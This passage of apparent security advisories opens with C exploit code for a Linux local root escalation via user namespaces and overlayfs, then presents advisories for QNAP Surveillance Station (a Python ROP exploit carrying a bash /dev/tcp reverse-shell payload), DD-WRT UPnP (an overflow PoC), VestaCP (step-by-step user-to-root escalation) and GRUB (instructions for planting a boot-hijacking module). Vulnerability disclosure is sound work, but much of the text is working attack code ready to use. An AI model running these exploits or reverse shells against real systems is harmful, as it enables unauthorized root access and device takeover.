    ssize_t len = (ssize_t) strlen(data);
    if (write(fd, data, len) != len)
        err(1, "write %s", path);
    close(fd);
}

static void xcopyfile(const char *src, const char *dst, mode_t mode)
{
    int fi, fo;

    if ((fi = open(src, O_RDONLY)) == -1)
        err(1, "open %s", src);
    if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
        err(1, "open %s", dst);

    char buf[4096];
    ssize_t rd, wr;

    for (;;) {
        rd = read(fi, buf, sizeof(buf));
        if (rd == 0) {
            break;
        } else if (rd == -1) {
            if (errno == EINTR)
                continue;
            err(1, "read %s", src);
        }

        char *p = buf;
        while (rd > 0) {
            wr = write(fo, p, rd);
            if (wr == -1) {
                if (errno == EINTR)
                    continue;
                err(1, "write %s", dst);
            }
            p += wr;
            rd -= wr;
        }
    }

    close(fi);
    close(fo);
}

static int exploit()
{
    char buf[4096];

    sprintf(buf, "rm -rf '%s/'", DIR_BASE);
    system(buf);

    xmkdir(DIR_BASE, 0777);
    xmkdir(DIR_WORK,  0777);
    xmkdir(DIR_LOWER, 0777);
    xmkdir(DIR_UPPER, 0777);
    xmkdir(DIR_MERGE, 0777);

    uid_t uid = getuid();
    gid_t gid = getgid();

    if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
        err(1, "unshare");

    xwritefile("/proc/self/setgroups", "deny");

    sprintf(buf, "0 %d 1", uid);
    xwritefile("/proc/self/uid_map", buf);

    sprintf(buf, "0 %d 1", gid);
    xwritefile("/proc/self/gid_map", buf);

    sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
    if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
        err(1, "mount %s", DIR_MERGE);

    // all+ep
    char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";

    xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
    if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
        err(1, "setxattr %s", BIN_MERGE);

    return 0;
}

int main(int argc, char *argv[])
{
    if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
        setuid(0);
        setgid(0);
        execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
        err(1, "execl /bin/bash");
    }

    pid_t child = fork();
    if (child == -1)
        err(1, "fork");

    if (child == 0) {
        _exit(exploit());
    } else {
        waitpid(child, NULL, 0);
    }

    execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
    err(1, "execl %s", BIN_UPPER);
}

SSD Advisory – QNAP Pre-Auth CGI_Find_Parameter RCE

TL;DR

Find out how a memory corruption vulnerability can lead to a pre-auth remote code execution on QNAP QTS’s Surveillance Station plugin.

Vulnerability Summary

QNAP NAS with “Surveillance Station Local Display function can perform monitoring and playback by using an HDMI display to deliver live Full HD (1920×1080) video monitoring”.

Insecure use of user supplied data sent to the QNAP NAS device can be exploited to run arbitrary code by overflowing an internal buffer used by the Surveillance Station plugin.

CVE

CVE-2021-28797

Credit

An independent security researcher has reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

QNAP QTS Surveillance Station version 5.1.5.4.2

QNAP QTS Surveillance Station version 5.1.5.3.2

Vendor Response

“We fixed this vulnerability in the following versions:

Surveillance Station 5.1.5.4.3 (and later) for ARM CPU NAS (64bit OS) and x86 CPU NAS (64bit OS)

Surveillance Station 5.1.5.3.3 (and later) for ARM CPU NAS (32bit OS) and x86 CPU NAS (32bit OS)”

More details can be found here: https://www.qnap.com/zh-tw/security-advisory/qsa-21-07

Vulnerability Analysis

Due to lack of proper bound checking, it’s possible to overflow a stack buffer with a specially crafted HTTP request.

user.cgi is used to manage login session to Surveillance Station. but vulnerability is caused by using strcpy while receiving sid through CGI_Find_Parameter function. Also, the vulnerable function call is located in the sub_ACB0 (from ida) here is part of binary user.cgi:

 v2 = CGI\_Find\_Parameter(a1, "initdata");
 v3 = CGI\_Find\_Parameter(v1, "user");
 if ( v3 ) {
    v4 =\*(\_DWORD \*)(v3 +4);
    if ( !\*(\_BYTE \*)v4 || !strcmp(\*(constchar\*\*)(v3 +4), "guest") ) 
        goto LABEL\_34; 
    }
    else { 
        v4 =0; 
    } 

    v5 = CGI\_Find\_Parameter(v1, "pwd");
    if ( v5 ) 
        v6 =\*(char\*\*)(v5 +4);
    else v6 =0;

    v7 = CGI\_Find\_Parameter(v1, "sid");
    v8 = v7;

    if ( v7 ) {
        v9 =\*(constchar\*\*)(v7 +4);
        strcpy(&dest, v9);

The CGI_Find Parameter function is used to process a request in QNAP QTS.

Exploit

import requests
import threading
from struct import *

p = lambda x: pack("<L", x)

def run(session, data):
    res = [session.post("http://192.168.1.2:8080/cgi-bin/surveillance/apis/user.cgi", data) for i in range(5000)]

def main():
	with requests.Session() as s:
                payload = "A" * 3108
                payload += p(0x74a8eb8c) # pop {r0, r4, pc}
                payload += p(0x71154e28) # heap address
                payload += "BBBB"
                payload += p(0x74a636c4 + 1) # system
            
                data = {
		    "act" : "login",
		    "sid" : payload,
		    "slep" : "bash -i >& /dev/tcp/192.168.1.3/4321 0>&1;" * 0x5000 + "\x00" + "bash -i >& /dev/tcp/192.168.1.3/4321 0>&1;" * 0x5000,
                }

                for i in range(30):
                    t = threading.Thread(target=run, args=(s, data))
                    t.start()
                
                

if __name__ == '__main__':
	main()

SSD Advisory – DD-WRT UPNP Buffer Overflow

TL;DR

Find out how a vulnerability in DD-WRT allows an unauthenticated attacker to overflow an internal buffer used by UPNP and trigger a code execution vulnerability.

Vulnerability Summary

DD-WRT is “is Linux-based firmware for wireless routers and access points. Originally designed for the Linksys WRT54G series, it now runs on a wide variety of models”.

Use of user supplied data, arriving via UPNP packet, is copied into an internal buffer of DD-WRT. This buffer being limited in size – while user supplied data is not allows a remote attacker to trigger a buffer overflow.

CVE

CVE-2021-27137

Credit

An independent security researchers, Selim Enes Karaduman, has reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

DD-WRT with change set 45723 or prior

Buffalo devices that ship with DD-WRT should be considered to be vulnerable

Vendor Response

“Thanks for informing us about this issue. we will fix it ASAP and release a fixed version within the next days including update of our router database.
for all devices.

Fix can be reviewed here https://svn.dd-wrt.com/changeset/45724″

Vulnerability Analysis

Universal Plug and Play (UPnP) is “a set of networking protocols that permits networked devices, such as personal computers, printers, Internet gateways, Wi-Fi access points and mobile devices to seamlessly discover each other’s presence on the network and establish functional network services for data sharing, communications, and entertainment. UPnP is intended primarily for residential networks without enterprise-class devices”.

By default, UPNP in DD-WRT is disabled as well as only listening on internal network interfaces.

UPNP in its nature is an unauthenticated protocol, in UDP form – which makes it both easy to use as well as insecure in nature, as there is no way to enforce authentication on the protocol.

If DD-WRT has its UPNP service enabled a remote attacker sitting on the LAN where the DD-WRT device is present can trigger a buffer overflow by sending an overly long uuid value.

Depending on the platform DD-WRT is deployed on, there may or may not be mitigation such as ASLR and others, making exploitability dependent on the platform the DD-WRT is installed on.

Vulnerable Code

By reviewing the source code of ssdp.c it is fairly easy to spot the offending code:

An unbound copy from user provided data is copied into a buffer limited to 128 bytes in size.

Proof Of Concept

Because the UPNP service is not enabled by default, the first step to recreate the vulnerability would be to enable the service which will auto-start it:

Launching the PoC script will trigger the upnp service to crash as can be seen a few seconds after you launch the below python script:

import socket

target_ip = "192.168.15.124" # IP Address of Target
off = "D"*164
ret_addr = "AAAA" 

payload = off + ret_addr

packet = \
    'M-SEARCH * HTTP/1.1\r\n' \
    'HOST:239.255.255.250:1900\r\n' \
    'ST:uuid:'+payload+'\r\n' \
    'MX:2\r\n' \
    'MAN:"ssdp:discover"\r\n' \
    '\r\n'

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
s.sendto(packet.encode(), (target_ip, 1900) )

SSD Advisory – VestaCP LPE Vulnerabilities

TL;DR

Find out how multiple vulnerabilities in VestaCP allow an authenticated attacker to elevate his access to root privileges.

Vulnerability Summary

VestaCP is “an open source hosting control panel, a clean and focused interface without the clutter, and has the latest of very innovative technologies”.

Two security vulnerabilities in VestaCP allow attackers that have access to the VestaCP panel to elevate their privileges from user to admin, and subsequently from admin to root – by chaining these two vulnerabilities together a user can become ‘root’ on the victim machine.

CVE

CVE-2021-30462, CVE-2021-30463

Credit

Two independent security researchers, Martí Guasch Jiménez (@0xGsch) and Francisco Andreu Sanz (@kikoas1995), have reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

VestaCP version 0.9.8-24 and prior

Vendor Response

We informed the vendor 3 months ago and have initially had communication with the developers – however after a few back and forth emails with them – they have stopped answering our emails and have not released a patch.

We currently recommend you to use forks of VestaCP like, myVestaCP and HestiaCP, has they released patches for the vulnerabilities.

Vulnerability Analysis

Privilege escalation from user to admin in VestaCP

To show this vulnerability we will be using a standard user account in VestaCP which we previously created called user1.

First of all we will show you how to obtain a reverse shell as the user account in the VestaCP server. This is not completely necessary but facilitates the exploitation by a lot.

Reverse shell
In order to obtain the shell we need to create a cron job that executes periodically and sends a reverse shell to a server controlled by the attacker.

In the following image, we get a shell as the user who executed the cronjob.

Exploitation

Go to your users web directory inside your home directory (~) and create a directory with the name of the domain you desire, in our case we are using pwned.pwn.

Now inside that directory, create another directory called public_xhtml. And inside public_xhtml create a symlink pwn.pwn to the desired file you want to read, in this case we want to takeover the admin account so we are going to point to its user.conf which contains the RKEY that allows us to change their password, but we can takeover any account with this vulnerability or read any file.

Now again in the directory of our domain, pwned.pwn, create as many symlinks to the folders which we don’t have permission to access. In our case we need access to /usr/local/vesta/data/users and /usr/local/vesta/data/users/admin, so we create two symlinks with any desired name.

Once all the setup is finished we can trigger the vulnerability by creating a domain as the user1 with the name pwned.pwn in the /add/web URL of VestaCP.

After creating the domain we should see that some directories have been created in our domain folder, pwned.pwn. If we now try to read the contests of the user.conf of admin we should be able to do so.

Now that we can read its RKEY, we can simply access /reset/?action=confirm&user=admin&code=RKEY_VALUE and change the password of the admin user.

Root Cause

The vulnerability happens in the shell script v-add-web-domain which is called in /add/web/index.php.

In it, the following commands are used without checking if the directory already exists or has any contents. $domain is the name of the domain of our website and $user of our VestaCP user.

In lines 88 to 94 we can see that various chmod commands are used in our $domain directory. We can abuse the command in line 94 to change the permissions of the file we want to read, and the command in line 92 to change the permissions of the directories we need access to.

Privilege escalation from “admin” to “root” in VestaCP

To exploit this vulnerability we should also create a reverse shell as the admin user as seen in the previous one.

As seen in the following screenshot, VestaCP relies on bash scripts to perform every operation in the web-app, such as adding a user or listing them. The scripts are under the path /usr/local/vesta/bin.

These bash scripts are owned by root user and can not be modified. However, sudo -l reveals that admin can run any of these scripts as root without having to insert the password.

Exploitation

Looking at the script v-list-user we see that it uses the environment variable $VESTA at the beginning of it to import /usr/local/vesta/func/main.sh.

First, let’s create a bash script under /tmp/func called main.sh, which is just going to spawn a shell.

As we are able to execute any of the scripts as root without entering the password, we can first overwrite the environment variable $VESTA before executing them.

This way, when running v-list-user, we will instantly have root access to the system:

SSD Advisory – GNU GRUB Command Injection

TL;DR

Find out how a vulnerability in GNU GRUB allows users on a Linux system to inject commands into the process of grub-mkconfig which allows them to execute arbitrary commands with elevated privileges.

Vulnerability Summary

GRUB ships with a script that allows generating /boot/grub/grub.cfg based on the operating systems installed on all the devices attached to the current system. The script is called grub-mkconfig. On Debian and systems based on Debian grub-mkconfig is run every time a kernel or driver is installed, upgraded or removed.

When grub-mkconfig detects a GNU/Linux system installed on a different media device, it examines that system’s /boot/grub/grub.cfg, looks at menuentrys inside and generates new menuentrys for the current system’s grub.cfg based on that info. When a new menuentry is being generated, certain GRUB commands (like linux and initrd) get copied from the “old” one.

grub-mkconfig doesn’t implement proper parsing of GRUB commands. When grub-mkconfig copies GRUB commands, it copies the whole lines that start with those commands. Inserting a semicolon after certain GRUB commands allows injecting GRUB commands that grub-mkconfig would not have copied otherwise.

CVE

CVE-PENDING

Credit

An independent security researchers, NyankoSec, has reported this vulnerability to the SSD Secure Disclosure program.

Vendor Response

The vendor has been informed and has released patches that were distributed across all affected distributions of Linux and other potentially affected OSes – more details are available here: https://lists.gnu.org/archive/html/grub-devel/2020-07/msg00034.html

Vulnerability Analysis

Basic details

grub-mkconfig detects GNU/Linux systems based on the presence of the following files:

  • ld.so. It can be placed at several different locations and can have various suffixes like ld-linux.so.2, creating an empty /lib/ld.so is enough.
  • /boot/grub/grub.cfg
  • A file named after a kernel mentioned in /boot/grub/grub.cfg. For example: /vmlinuz. This file can be empty.

grub-mkconfig detects operating systems on every partition, regardless of whether that partition is mounted or not.

grub-mkconfig detects operating systems on any kind of media: hard disks, SSDs, USD drives, SD cards, etc.

Potential exploitation methods

Being able to inject arbitrary GRUB commands is nice, but we can’t know beforehand what kernel and initrd our target is using.

We might assume that /vmlinuz and /initrd.img are available, generate a menuentry based on that and force its execution with settimeout=0 and set default=$our_menuentry, but this approach is not robust.

The target system may have no /vmlinuz or /initrd.img, maybe using a non-standard init, etc.

AFAICT, it may also make circumventing full-disk encryption impossible in some cases. In general,this approach may break out target’s system, which is not something that we want.

It would be nice to be able to examine various menuentrys at runtime and hijack their linux commands. Unfortunately, GRUB script is not expressive enough to allow us to do that. To achieve that, we need a GRUB module.

Hijacking GRUB via module

To exploit the vulnerability in GRUB we will create a GRUB module called ggh.mod.

When ggh.mod is loaded, it registers a hook that fires up after GRUB has finished processing the entire grub.cfg file.

That hook goes through each menuentry loaded by GRUB from the grub.cfg file and replaces any linux or linux16 command with a hijacked version.

The hook also deletes any menuentry that contains a certain magics tring (“ggh_442ecb7e12dc4b8e”). Our exploit generates two dummy entries with that kind of name.

The only drawback of this approach is that the target must keep the infected device attached to the system until it reboots.

Flow of Attack

A user having control over a device that is one of the above can place the files that will be processed by GRUB such that when the kernel (for example) is upgraded and grub is subsequently called to install itself – this GRUB module we created will get called and modify the grub.cfg file with our controlled content.

Due to the complexity of the Exploit we will not be including it in this advisory, we are willing to share the Exploit with people that contact us via email.

Exploit Compiling

These instructions have been tested on Debian 9 and 10. The same instructions should work on any new version of Ubuntu as well.

A GRUB module compiled on one distro will work with any other reasonably new distro or GRUB version.

sudo apt build-dep grub2

Edit src/ggh_shellcode.1 to your liking or keep the default payload. Do not touch src/ggh_shellcode.2 unless you know what you are doing. Also, make sure that src/ggh_shellcode.1 is not too large: it gets base64-encoded and is passed as an argument to the Linux kernel, and Linux is not very happy about arguments over a certain size.

Run make. It will download the source code for GRUB (apt source grub2), compile ggh.mod and create build/rootfs.

Find out the UUID of the device you want to infect. Try findmnt -o TARGET,UUID or blkid.

Replace the dummy UUID (00000000-0000-0000-0000-000000000000) in build/rootfs/boot/grub/grub.cfg with the one you have just discovered.

Mount the device you want to infect and copy all the files in build/rootfs to it:

cp -RT build/rootfs /path/to/your/device

Now you just need to wait for someone to install something that requires upgrade-grub / grub-mkconfig to occur.